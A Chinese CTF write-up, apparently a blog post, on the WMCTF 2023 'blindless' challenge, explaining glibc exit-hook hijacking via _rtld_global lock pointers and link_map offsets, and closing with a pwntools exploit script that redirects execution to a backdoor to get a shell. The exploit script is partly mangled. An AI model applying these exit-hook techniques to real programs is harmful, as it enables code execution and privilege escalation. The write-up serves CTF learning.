内存利用:迟来的blindless与逃不掉的exit漏洞
0x01 前言
在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit"都是一个普遍存在的函数,通常用于正常退出程序。但这种普遍性也使得它成为了潜在的攻击目标。
这个漏洞的威胁性在于,它不仅存在于各种程序中,而且有多种潜在的攻击方式。攻击者可以通过利用这一漏洞来执行恶意代码,获取系统权限,或者实施其他恶意行为。要理解这个漏洞的威胁,我们需要深入分析其背后的原理以及不同的利用方式。
在本文中,我们将探讨这个漏洞的具体情况,并详细分析了两种主要的利用方式:一种是将程序流转向libc库中的函数,另一种是将程序流转向程序本身的代码段。我们将深入研究这两种攻击方式的原理,并展示了一个实际漏洞利用的示例。
"blindless"是来自WMCTF 2023比赛的一个题目,虽然难度不高,但要深入理解并利用其中的漏洞,需要花费大量时间。本文总结了有关"exit_hook2libc"和"exit_hook2elf"的利用方法,旨在分享给大家学习。这题的关键是深入理解程序退出时执行的"exit"函数,以及如何通过不同方式实现漏洞利用。
0x02 exit_hook的n种姿势
基地址放在此处供各位参考一下,用于计算指令偏移。
exit_hook2libc
首先是p &_rtld_global
(看地址),他有一个rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
的元素可以改来调用。
注意一定要用docker或者虚拟机,否则没有符号表会特别坐牢!
执行p _rtld_global
。看到那两个rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
吗,就是他们两个。我们可以修改他们的内容,从而作为exithook进行调用(直接call)。把后面的东西复制过来p &xxx
就可以查看其地址了。
注意看,这个程序叫小帅,他调用的第一个参数就是rdi,是_rtld_global+2312
,我们可以控制他的参数为/bin/sh\x00
然后做坏坏的事情(如果能把rtld_lock_default_lock_recursive
也改成system
的话)。
然后rtld_lock_default_unlock_recursive
的参数也是2312这个偏移。
注意这个2312是十进制。
好的,我们就修改这两个地方就可以为所欲为了,但是exit_hook
到这里还没完。
并且严格来说,这里并不是完全的exit_hook2libc
,如果知道elf的地址也完全可以返回到elf上的函数。
接下来还有更骚的,可以控制到程序上的地址(直接跳转,或者间接取地址跳转。)
exit_hook2elf
1.间接call
这个在这里,第一个是间接call,即指令是call qword ptr [寄存器]
,意思就是从寄存器的地址指向的内存里取地址,然后call。
对于间接call的利用,我们可以修改他的偏移到任意函数got表,然后配合参数rdi_rtld_global+2312
使用。
例如修改_rtld_global+2312为"/bin/sh\x00"
这个的基地址和偏移是存在于link_map
的,这样可以找到他的地址。
调试可以看到他会从这个地址的内存中取elf基地址,然后通过link_map地址+0x110存的地址取偏移。我们可以改基地址也可以选择改偏移。link_map地址+0x110是存第一个间接call的偏移的。
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
2.直接call
link_map地址+0xa8是存第二个直接call的偏移
注意存的是偏移-8的地址,也就是如果要改的话要改成目标-8。
如果改偏移的话能改最好,还能直接形成调用链子。但是如果没有偏移,就只能改基地址了——也就是p &l
出来那儿。但是这样肯定会损坏第一次call r14
的,会导致无法正常进行。
但是发现有一个地方判断可以跳过call r14
。
就是这里,test edx,edx
是edx和edx相互and,留下标志位。简单来说就是如果是0,那么不跳转。如果是1,那么跳转。
在x86汇编中,
je
指令的作用是:
1. 检查零标志位(ZF)是否被设置为 1。
2. 如果零标志位被设置为 1,将进行跳转到指定的目标位置。
回溯发现是从link_map+0x120
取来的地址,也就是说想要这里为0,就把那里的地址指向为0的地方即可!不过也要注意,这里取的是地址+8,也就是我们要改成目标地址-8改进去。这里直接找bss段之类的即可。
完成这个操作,就可以修改基地址达到任意直接call的效果了!即使没有泄露,也可直接返回到程序上(比如此题有后门)。如果有,那就是为所欲为!(和前面一样,如果有泄露真的就是为所欲为了)。
0x03 exp
那么本题目由于有brainfuck函数可以执行任意地址写,则根据前面的exit_hook可以做到提权。
from pwn import *n2b = lambda x : str(x).encode()
rv = lambda x : p.recv(x)
rl = lambda :p.recvline()
ru = lambda s : p.recvuntil(s)
sd = lambda s : p.send(s)
sl = lambda s : p.sendline(s)
sn = lambda s : sl(n2b(n))
sa = lambda t, s : p.sendafter(t, s)
sla = lambda t, s : p.sendlineafter(t, s)
sna = lambda t, n : sla(t, n2b(n))
ia = lambda : p.interactive()
rop = lambda r : flat([p64(x) for x in r])
uu64=lambda data :u64(data.ljust(8,b'\x00'))while True:context(os='linux', arch='amd64', log_level='debug')p = process('./main')context.terminal = ['tmux','new-window' ,'-n','-c']#gdb.attach(p)sla('ze',b'-10')#分配到libc上(用mmap)sla('ze',b'256')pay = b'@'+p32(2148618432)#到ld的地址+0x2f190的偏移pay += b'@'+p32(2148618432)pay +=b'.' + b'\xb1'pay += b'>.' + b'\x7c'#使得加了偏移之后是后门函数地址pay += b'@'+p32(0x11f)#修改0x120的地址,指向0,跳过call r14pay +=b'.' + b'\x00'pay += b'q'sla('code\n',pay)re = p.recvrepeat(0.1)#一直接收直到有回显#如果是system的话可以发一个cat flag再这样#这是个很好的爆破方式,学习学习if re:print('pwned!get your flag here:',re)exit(0)p.close()
相关文章:

内存利用:迟来的blindless与逃不掉的exit漏洞
0x01 前言 在计算机安全领域,漏洞的危险性往往与其广泛性和潜在攻击方式密切相关。今天,我们将深入探讨一个异常危险的漏洞,它存在于程序退出时执行的常见函数"exit"中。无论是在操作系统还是应用程序中,"exit&qu…...

Vue - 虚拟DOM的简单理解
目录 虚拟DOM虚拟DOM树生成流程 因为直接操作真实的 DOM 会比较影响效率。所以 vue 使用了 虚拟DOM(VNode)来描述要渲染的内容。 虚拟DOM 它是一个 js 对象,比如: const vnode {tag: "h1",children: [{ tag: undefi…...

TongWeb8下应用忙碌线程监控
问题 : 在系统运行过程中发现TongWeb进程占用CPU过高,需要分析是应用哪里引起的问题。 分析过程(仅限Linux环境): 1. 通过top命令查看TongWeb的java进程占用的CPU情况。 查看误区:不要以为java进程CPU占到398%就是高࿰…...

Docker部署ActiveMQ消息中间件
1、准备工作 docker pull webcenter/activemq:5.14.3 Pwd"/data/software/activemq" mkdir ${Pwd}/data -p2、运行容器 docker run -d --name activemq \-p 61616:61616 \-p 8161:8161 \-v ${Pwd}/data:/opt/activemq/data \-v /etc/localtime:/etc/localtime \--r…...

Python并发执行(未完待续)
python的多进程执行 多进程实现方式一 from multiprocessing import Processdef func1(name):print("测试 %s 多进程" %name)if __name__ "__main__":process_list []for i in range(5):p Process(target func1, args (Python, ))p.start()process_…...

4.一元多项式相乘
题目说明: 要求采用链表形式,求两个一元多项式的乘积:h3 h1*h2。函数原型为:void multiplication( NODE * h1, NODE * h2, NODE * h3 )。 输入: 输入数据为两行,分别表示两个一元多项式。每个一元多项式以…...

Android Gilde获取网络图片显示保存路径并转化为bitmap
为某个按钮或者图片添加点击事件,然后:strImg为图片url地址 ,loadDialog只是个提示信息,可以不要这个参数。使用Glide的onResourceReady方法获取到bitmap对象: LoadDialog loadDialognew LoadDialog(); loadDialog.initShow(cont…...

Uts阿里百川旗舰版插件UniApp-X
简介: 此插件为Uts插件,1.0版暂只支持安卓 插件地址:https://ext.dcloud.net.cn/plugin?id14771 接入阿里百川安卓旗舰版最新版5.0.1.9!支持淘宝授权登录,获取登录用户信息,拉起淘宝,打开商…...

一创聚宽的实盘就要关闭了,有没有好用的实盘平台推荐
挺多的,比较普遍的是QMT和Ptrade,python语言,易上手,通用性好,要说适用性可以考虑Ptrade,问一下你的客户经理有没有,用Ptrade的券商也多,如果之前用一创聚宽你可以无缝切换ÿ…...

全套办公软件Office 2019 mac专业版功能
Microsoft office 2019 Beta for Mac 是一款办公软件套装,它包含常用的办公应用程序,如 Word、Excel、PowerPoint 和 Outlook 等。office 2019 Beta 版本是一个测试版本,旨在让用户提前体验下一个版本的 office 套件,以便用户可以…...

【计算机网络】IP协议
目录 前言 IP协议 基本概念 IP协议格式 分片 16位标识 3位标志与13位片偏移 分片流程 网段划分 网络号和主机号 DHCP协议 CIDR划分方案 特殊的ip地址 ip地址数量限制 私有ip地址与公网ip地址 路由转发 前言 我们前面讲了HTTP/HTTPS协议和TCP/…...

【操作系统笔记九】并发安全问题
用户态抢占和内核态抢占 内核中可以执行以下几种程序: ① 当前运行的进程:陷阱程序(系统调用) 和 故障程序(page fault) ,进程运行在内核态的时候,其实就是在执行进程在用户态触发的…...

主要文库网站网赚分析
前言 躺赚的方式有很多,最常见的是文档网站。你上传文档后,等别人来下载,然后你就获得收益。这似乎比开直播,写专栏,赚粉丝更轻松,但实际调研发现,情况没那么简单,真正赚到钱的是少…...

“ElementUI实现动态树和动态表格的综合应用“
目录 引言1. ElementUI树1.1 树的基本概念1.2 示例代码和效果展示 2. ElementUI实现动态表格2.1 表格的基本概念2.2 示例代码和效果展示 总结 引言 在前端开发中,动态树和动态表格是常见的功能需求。ElementUI是一套基于Vue.js的组件库,提供了丰富的UI组…...

按键检测|中断检测
一.按键检测 1.硬件原理 当未按下按键时,GPIO_5为低电平,按下按键GPIO_5变为高电平。 根据引脚编号找到引脚名称 根据引脚名称找到引脚编号 裸机程序控制外设 特点:读数据手册、设寄存器值 找出外设有哪些相关寄存器找出外设相关寄存器如何…...

MySQL的执行流程
在聊mysql的执行流程之前,咱们要先聊聊mysql的逻辑架构。 逻辑架构 可以将上图简化为下图 连接层 客服端访问mysql服务器前,要先和mysq建立tcp连接。经过3次握手建立连接成功后,mysql服务器对tcp传输过来的账号密码进行身份认证&#x…...

如何办一份有价值的企业内刊/报纸?向《华为人》学习就够了
前两天有一个朋友联系华研荟,说他是今年大学毕业加入了一个中型公司,他学的是企业管理,在公司人力资源部门工作。上周老板说公司要办一份自己的内刊,这个工作由人力资源部负责,而人力资源经理就把这个活交给她了。 她…...

C++:从初识到初识的旅程
为什么文章是初识到初识呢,因为我真的仅仅是初识,大学只上了半个学期的C,其他的都是网络课程为主 在我踏入大学校门的那刻,我对于未来充满了无限的好奇和期待。其中,C这门神秘的编程语言进入了我的视线。虽然我的专业…...

JavaWeb 学习
1. 基本概念 1.1 Web web:网络,网页 静态 web html,css提供给所有人看的数据始终不会变化 动态 web 淘宝提供给每个人看的数据会有所不同技术栈:Servlet/JSP,ASP,PHP Java 中,动态 web 资…...

百度SEO优化不稳定的原因分析(提升网站排名的稳定性)
百度SEO优化不稳定介绍蘑菇号-www.mooogu.cn SEO不稳定是指网站在搜索引擎中的排名不稳定,随着时间的推移会发生变化。这种情况可能会出现在网站页面结构、内容质量、外链质量等方面存在缺陷或不合理之处。因此,优化SEO非常重要,可以提高网站…...

给你两个集合,要求{A} + {B}
先看题: 看完题后你会觉得:哇,好简单,STL一下就出来啦。 #include <iostream> #include <set>using namespace std;int main() {int n, m;while (cin >> n >> m) {set<int> set_a;for (int i 0;…...

Java获取实时摄像头进行拍照(附源码)
一、导言 1、引言 Java是一种通用编程语言,可以用来开发各种类型的应用程序,包括涉及图像处理和相机操作的应用程序。 要在Java中获取实时摄像头进行拍照,通常会借助一些第三方库或API,例如OpenCV(Open Source Compute…...

Kafka入门
1. Kafka简介 Apache Kafka 是LinkedIn公司开发的一款开源的高吞吐、分布式的消息队列系统,它具有高伸缩性、高可靠性和低延迟等特点,因此在大型数据处理场景中备受青睐。Kafka 可以处理多种类型的数据,如事件、日志、指标等,广泛…...

异地恋的甜蜜解药:李哥的群晖Videostation电影分享教程
异地恋的甜蜜解药:李哥的群晖Videostation电影分享教程 文章目录 异地恋的甜蜜解药:李哥的群晖Videostation电影分享教程1.使用环境要求2.制作视频分享链接3.制作永久固定视频分享链接 李哥和他的女朋友是一对甜蜜的情侣,但不幸的是ÿ…...

JSON数据获取指南!
在互联网时代,数据是金钱的来源。然而,要从海量的网页中提取需要的数据并不容易。本文将带你了解如何使用Node.js编写简易爬虫程序,帮助你轻松获取并处理JSON数据,让你不再为数据发愁。 一、准备工作 安装Node.js:确保…...

ASCII码-对照表
ASCII 1> ASCII 控制字符2> ASCII 显示字符3> 常用ASCII码3.1> 【CR】\r 回车符3.2> 【LF】\n 换行符3.3> 不同操作系统,文件中换行 1> ASCII 控制字符 2> ASCII 显示字符 ASCII(American Standard Code for Information Interc…...

点餐小程序的制作流程详解
随着移动互联网的发展,越来越多的消费者开始使用手机进行点餐,这也促使了点餐小程序的兴起。如果您是一位商家,想要开发一个属于自己的点餐小程序,那么不妨尝试一下以下的DIY教程吧! 首先,我们需要找一个专…...

Python应用程序:从Android日志到Excel文件的智能过滤和输出
import json import subprocess import re import openpyxldef logcat(excel_path, check_re):"""查看 安卓手机日志信息:param excel_path: excel的路径信息,标题行字段:param check_re: 过滤当前日志的正则表达式(之后记得优化…...

C++常见面试题汇总
C++常见面试题汇总: C++中的指针和引用有什么区别?什么是C++中的多态?如何实现?C++中的析构函数有什么作用?什么是构造函数链?C++中如何进行内存管理?什么是作用域?C++中的作用域限定符有哪些?什么是预处理指令?C++中常见的预处理指令有哪些?什么是头文件?头文件中…...

redis缓存穿透问题
缓存穿透是指客户端请求的数据在缓存中和数据库中都不存在,这样缓存永远不会生效,这些请求都会打到数据库 常见的解决办法: 缓存空对象:第一次请求发现redis和数据库中都不存在时,,可以设置请求数据为key,null为值,放置在缓存中. 但是会有一个问题,就是如果此类请求过多,会导…...